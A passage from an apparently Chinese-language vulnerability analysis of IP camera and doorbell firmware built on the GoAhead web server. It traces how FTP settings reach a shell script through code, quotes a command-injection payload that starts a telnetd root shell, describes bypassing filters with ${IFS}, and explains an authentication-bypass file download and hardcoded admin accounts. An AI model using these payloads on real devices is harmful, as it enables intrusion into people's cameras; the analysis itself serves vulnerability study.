    <span class="token function">GetIntParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"port"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>iValue <span class="token punctuation">)</span><span class="token punctuation">;</span>
    bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>nFtpPort <span class="token operator">=</span> iValue<span class="token punctuation">;</span>

    iRet <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"user"</span><span class="token punctuation">,</span> temp2<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">strcpy<span class="token punctuation">(</span></span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpUser<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token function">memset<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">64</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    iRet <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"pwd"</span><span class="token punctuation">,</span> temp2<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">strcpy<span class="token punctuation">(</span></span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpPwd<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">
//我们构造的命名被赋值给了参数bparam.stFtpParam.szFtpPwd
</span>    iRet <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"dir"</span><span class="token punctuation">,</span> temp2<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">31</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">strcpy<span class="token punctuation">(</span></span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpDir<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span>decoderbuf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">strcpy<span class="token punctuation">(</span></span>bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpDir<span class="token punctuation">,</span> <span class="token string">"/"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token function">GetIntParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"mode"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>iValue <span class="token punctuation">)</span><span class="token punctuation">;</span>
    bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>byMode <span class="token operator">=</span> iValue<span class="token punctuation">;</span>
    <span class="token function">GetIntParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"upload_interval"</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>iValue <span class="token punctuation">)</span><span class="token punctuation">;</span>
    bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>nInterTime <span class="token operator">=</span> iValue<span class="token punctuation">;</span>

    iRet <span class="token operator">=</span> <span class="token function">GetStrParamValue<span class="token punctuation">(</span></span> pparam<span class="token punctuation">,</span> <span class="token string">"filename"</span><span class="token punctuation">,</span> temp1<span class="token punctuation">,</span> <span class="token number">63</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">URLDecode<span class="token punctuation">(</span></span> temp2<span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> temp2 <span class="token punctuation">)</span><span class="token punctuation">,</span> decoderbuf<span class="token punctuation">,</span> <span class="token number">63</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">strcpy<span class="token punctuation">(</span></span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFileName<span class="token punctuation">,</span> decoderbuf <span class="token punctuation">)</span><span class="token punctuation">;</span>

综上所述,set_ftp.cgi仅仅是将我们请求的各参数写入全局变量中。 接下来是ftptest.cgi部分,也就是调用了iRet = cgisetftptest( pbuf, pparam, byPri );这个函数。在该函数中,最为关键的函数为DoFtpTest();。直接跳到func/ftp.c文件中找到函数DoFtpTest()

<span class="token keyword">int</span> <span class="token function">DoFtpTest<span class="token punctuation">(</span></span> <span class="token keyword">void</span> <span class="token punctuation">)</span>  
<span class="token punctuation">{</span>
    <span class="token keyword">int</span>     iRet <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>
    iRet <span class="token operator">=</span> <span class="token function">FtpConfig<span class="token punctuation">(</span></span> <span class="token number">0x01</span><span class="token punctuation">,</span> NULL <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">char</span> cmd<span class="token punctuation">[</span><span class="token number">128</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token function">memset<span class="token punctuation">(</span></span>cmd<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">128</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">sprintf<span class="token punctuation">(</span></span>cmd<span class="token punctuation">,</span> <span class="token string">"/tmp/ftpupdate1.sh &gt; %s"</span><span class="token punctuation">,</span> FILE_FTP_TEST_RESULT<span class="token punctuation">)</span><span class="token punctuation">;</span>
        iRet <span class="token operator">=</span> <span class="token function">DoSystem<span class="token punctuation">(</span></span>cmd<span class="token punctuation">)</span><span class="token punctuation">;</span>
       <span class="token comment"> //iRet = DoSystem( "/tmp/ftpupdate1.sh &gt; /tmp/ftpret.txt" );
</span>    <span class="token punctuation">}</span>

    <span class="token keyword">return</span> iRet<span class="token punctuation">;</span>
<span class="token punctuation">}</span>

可以看到,执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。我们先看 FtpConfig()函数如何处理该问题:

<span class="token keyword">int</span> <span class="token function">FtpConfig<span class="token punctuation">(</span></span> <span class="token keyword">char</span> test<span class="token punctuation">,</span> <span class="token keyword">char</span><span class="token operator">*</span> filename <span class="token punctuation">)</span>  
<span class="token punctuation">{</span>
<span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>
    fp <span class="token operator">=</span> <span class="token function">fopen<span class="token punctuation">(</span></span> <span class="token string">"/tmp/ftpupdate1.sh"</span><span class="token punctuation">,</span> <span class="token string">"wb"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"/system/system/bin/ftp -n&lt;&lt;!\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"open %s %d\n"</span><span class="token punctuation">,</span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpSvr<span class="token punctuation">,</span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>nFtpPort <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"user %s %s\n"</span><span class="token punctuation">,</span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpUser<span class="token punctuation">,</span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpPwd <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"binary\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>byMode <span class="token operator">==</span> <span class="token number">1</span> <span class="token punctuation">)</span>    <span class="token comment"> //passive
</span>    <span class="token punctuation">{</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"pass\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
<span class="token property">#ifdef CUSTOM_DIR</span>

    <span class="token keyword">char</span> sub_temp<span class="token punctuation">[</span> <span class="token number">128</span> <span class="token punctuation">]</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span>sub_temp<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">128</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
   <span class="token comment"> //strcpy(sub_temp, bparam.stFtpParam.szFtpDir);
</span>    <span class="token function">sprintf<span class="token punctuation">(</span></span>sub_temp<span class="token punctuation">,</span> <span class="token string">"%s/%s"</span><span class="token punctuation">,</span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpDir<span class="token punctuation">,</span>bparam<span class="token punctuation">.</span>stIEBaseParam<span class="token punctuation">.</span>dwDeviceID<span class="token punctuation">)</span><span class="token punctuation">;</span> 

    flag <span class="token operator">=</span> <span class="token function">sub_dir<span class="token punctuation">(</span></span>fp<span class="token punctuation">,</span>sub_temp<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token keyword">if</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token punctuation">{</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"cd %s\n"</span><span class="token punctuation">,</span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpDir <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
#<span class="token keyword">else</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"cd %s\n"</span><span class="token punctuation">,</span> bparam<span class="token punctuation">.</span>stFtpParam<span class="token punctuation">.</span>szFtpDir <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>

#endif
    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"lcd /tmp\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> test <span class="token operator">==</span> <span class="token number">0x01</span> <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">FtpFileTest<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"put ftptest.txt\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">else</span>
    <span class="token punctuation">{</span>
        <span class="token keyword">char</span>    filename1<span class="token punctuation">[</span><span class="token number">128</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> filename1<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memcpy<span class="token punctuation">(</span></span> filename1<span class="token punctuation">,</span> filename <span class="token operator">+</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> filename <span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">5</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"put %s\n"</span><span class="token punctuation">,</span> filename1 <span class="token punctuation">)</span><span class="token punctuation">;</span>
        <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"close\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"bye\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">memset<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">0x00</span><span class="token punctuation">,</span> <span class="token number">128</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">sprintf<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token string">"!\n"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fwrite<span class="token punctuation">(</span></span> cmd<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token function">strlen<span class="token punctuation">(</span></span> cmd <span class="token punctuation">)</span><span class="token punctuation">,</span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token function">fclose<span class="token punctuation">(</span></span> fp <span class="token punctuation">)</span><span class="token punctuation">;</span>
    iRet <span class="token operator">=</span> <span class="token function">access<span class="token punctuation">(</span></span> <span class="token string">"/tmp/ftpupdate1.sh"</span><span class="token punctuation">,</span> X_OK <span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">if</span> <span class="token punctuation">(</span> iRet <span class="token punctuation">)</span>
    <span class="token punctuation">{</span>
        <span class="token function">DoSystem<span class="token punctuation">(</span></span> <span class="token string">"chmod a+x /tmp/ftpupdate1.sh"</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>

    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

至此,逻辑很清晰了。在FtpConfig()函数中,将我们之前在设置的时候输入的各个值写入了/tmp/ftpupdate1.sh中,然后在DoFtpTest()中运行该脚本,导致最后的命令执行。这一点,同样可以在漏洞作者原文中得到证明:

作者原文中展示的<span class="token operator">/</span>tmp<span class="token operator">/</span>ftpupload<span class="token punctuation">.</span>sh<span class="token punctuation">:</span>
<span class="token operator">/</span> # cat <span class="token operator">/</span>tmp<span class="token operator">/</span>ftpupload<span class="token punctuation">.</span>sh 
<span class="token operator">/</span>bin<span class="token operator">/</span>ftp <span class="token operator">-</span>n<span class="token operator">&lt;</span><span class="token operator">&lt;</span><span class="token operator">!</span>
open <span class="token number">192.168</span><span class="token punctuation">.</span><span class="token number">1.1</span> <span class="token number">21</span>  
user ftp $<span class="token punctuation">(</span>telnetd <span class="token operator">-</span>l <span class="token operator">/</span>bin<span class="token operator">/</span>sh <span class="token operator">-</span>p <span class="token number">25</span><span class="token punctuation">)</span>ftp  
binary  
lcd <span class="token operator">/</span>tmp  
put ftptest<span class="token punctuation">.</span>txt  
close  
bye  
<span class="token operator">!</span>
<span class="token operator">/</span> #

实际测试中,我们发现:如果直接用作者给出的exp去尝试RCE往往无法成功运行。从http://ip:port/get_params.cgi?user=username&pwd=password可以发现,我们注入的命令在空格处被截断。

于是我们用${IFS}替换空格(还可以采用+代替空格):

但由于有长度限制再次被截断,调整长度后最终成功执行命令:

成功抓住新代码的影子。

3. GoAhead绕过验证文件下载漏洞

2017年3月9日,Pierre Kim在文章中增加了两个链接,描述了一个GoAhead 2.1.8版本之前的任意文件下载漏洞。攻击者通过使用该漏洞,再结合一个新的远程命令执行漏洞可以再次获取摄像头的最高权限。有意思的是,这个漏洞早在2004年就已被提出并成功修复http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老代码,该漏洞仍然可以在众多摄像头设备中复现。

我们也查找了此门铃项目中的GoAhead服务器版本。web/release.txt前三行内容如下:

=====================================
GoAhead WebServer 2.1.8 Release Notes  
=====================================

再仔细查看websUrlHandlerRequest()内容,发现并未对该漏洞进行修复,说明该漏洞也影响这个门铃项目。以此类推,本次受影响的摄像头应该也存在这个漏洞,果不其然:

那么,具体的漏洞成因又是如何呢?让我们来跟进./web/LINUX/main.c了解该漏洞的成因。 initWebs()函数中,关键代码如下:

<span class="token number">154</span><span class="token punctuation">:</span>   <span class="token function">umOpen<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token number">157</span><span class="token punctuation">:</span>   <span class="token function">umAddGroup<span class="token punctuation">(</span></span> <span class="token function">T<span class="token punctuation">(</span></span> <span class="token string">"adm"</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0x07</span><span class="token punctuation">,</span> AM_DIGEST<span class="token punctuation">,</span> FALSE<span class="token punctuation">,</span> FALSE <span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token number">159</span><span class="token punctuation">:</span>   <span class="token function">umAddUser<span class="token punctuation">(</span></span> admu<span class="token punctuation">,</span> admp<span class="token punctuation">,</span> <span class="token function">T<span class="token punctuation">(</span></span> <span class="token string">"adm"</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> FALSE<span class="token punctuation">,</span> FALSE <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">160</span><span class="token punctuation">:</span>   <span class="token function">umAddUser<span class="token punctuation">(</span></span> <span class="token string">"admin0"</span><span class="token punctuation">,</span> <span class="token string">"admin0"</span><span class="token punctuation">,</span> <span class="token function">T<span class="token punctuation">(</span></span> <span class="token string">"adm"</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> FALSE<span class="token punctuation">,</span> FALSE <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">161</span><span class="token punctuation">:</span>   <span class="token function">umAddUser<span class="token punctuation">(</span></span> <span class="token string">"admin1"</span><span class="token punctuation">,</span> <span class="token string">"admin1"</span><span class="token punctuation">,</span> <span class="token function">T<span class="token punctuation">(</span></span> <span class="token string">"adm"</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> FALSE<span class="token punctuation">,</span> FALSE <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">162</span><span class="token punctuation">:</span>   <span class="token function">umAddAccessLimit<span class="token punctuation">(</span></span> <span class="token function">T<span class="token punctuation">(</span></span> <span class="token string">"/"</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> AM_DIGEST<span class="token punctuation">,</span> FALSE<span class="token punctuation">,</span> <span class="token function">T<span class="token punctuation">(</span></span> <span class="token string">"adm"</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token number">224</span><span class="token punctuation">:</span>   <span class="token function">websUrlHandlerDefine<span class="token punctuation">(</span></span> <span class="token function">T<span class="token punctuation">(</span></span> <span class="token string">""</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> NULL<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> websSecurityHandler<span class="token punctuation">,</span> WEBS_HANDLER_FIRST <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">227</span><span class="token punctuation">:</span>   <span class="token function">websUrlHandlerDefine<span class="token punctuation">(</span></span> <span class="token function">T<span class="token punctuation">(</span></span> <span class="token string">""</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> NULL<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> websDefaultHandler<span class="token punctuation">,</span>WEBS_HANDLER_LAST <span class="token punctuation">)</span><span class="token punctuation">;</span>

其中,150-160um开头的函数为用户权限控制的相关函数。主要做了以下四件事情:

1. umOpen() 打开用户权限控制;
2. umAddGroup() 增加用户组adm,并设置该用户组用户使用HTTP摘要认证方式登录;
3. umAddUser() 增加用户admin,admin0,admin1,并且这三个用户均属于adm用户组;
4. umAddAccessLimit() 增加限制路径/,凡是以/开头的路径都要通过HTTP摘要认证的方式登录属于adm组的用户。

紧接着,在220多行通过websUrlHandlerDefine()函数运行了两个HandlerwebsSecurityHandlerwebsDefaultHandler。在websSecurityHandler中,对HTTP摘要认证方式进行处理。关键代码如下:

<span class="token number">86</span><span class="token punctuation">:</span>           accessLimit <span class="token operator">=</span> <span class="token function">umGetAccessLimit<span class="token punctuation">(</span></span> path <span class="token punctuation">)</span><span class="token punctuation">;</span>

<span class="token number">115</span><span class="token punctuation">:</span>         am <span class="token operator">=</span> <span class="token function">umGetAccessMethodForURL<span class="token punctuation">(</span></span> accessLimit <span class="token punctuation">)</span><span class="token punctuation">;</span>  
<span class="token number">116</span><span class="token punctuation">:</span>         nRet <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>

<span class="token number">118</span><span class="token operator">-</span><span class="token number">242</span><span class="token punctuation">:</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span> flags <span class="token operator">&amp;</span> WEBS_LOCAL_REQUEST <span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span> debugSecurity <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">{</span>……<span class="token punctuation">}</span>

<span class="token number">245</span><span class="token punctuation">:</span>         <span class="token keyword">return</span> nRet<span class="token punctuation">;</span>

第86行,umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/或者\\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini。根据上文,设置需要对/路径需要进行HTTP摘要认证,由于程序判断system.ini不属于/路径,所以这里am为默认的AM_INVALID,即无需验证。

紧接着向下,nRet初始化赋值为0.在118-242行中,如果出现了账号密码错误等情况,则会将nRet赋值为1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet仍为0。因此,顺利通过验证,获取到对应的文件内容。

就这样,我们再次抓住了这个“新代码”的影子。这个2004年的漏洞让我们不得不为新代码这三个字加上了双引号。

4. 远程命令执行漏洞二(需登录)

在Pierre Kim新增的两个链接中,还介绍了一种新的远程命令执行的方式,即通过set_mail.cgimailtest.cgi来执行命令。 与上一个远程命令执行漏洞一样,我们先在func/ieparam.c文件中找到set_mail.cgimailtest.cgi的调用过程:

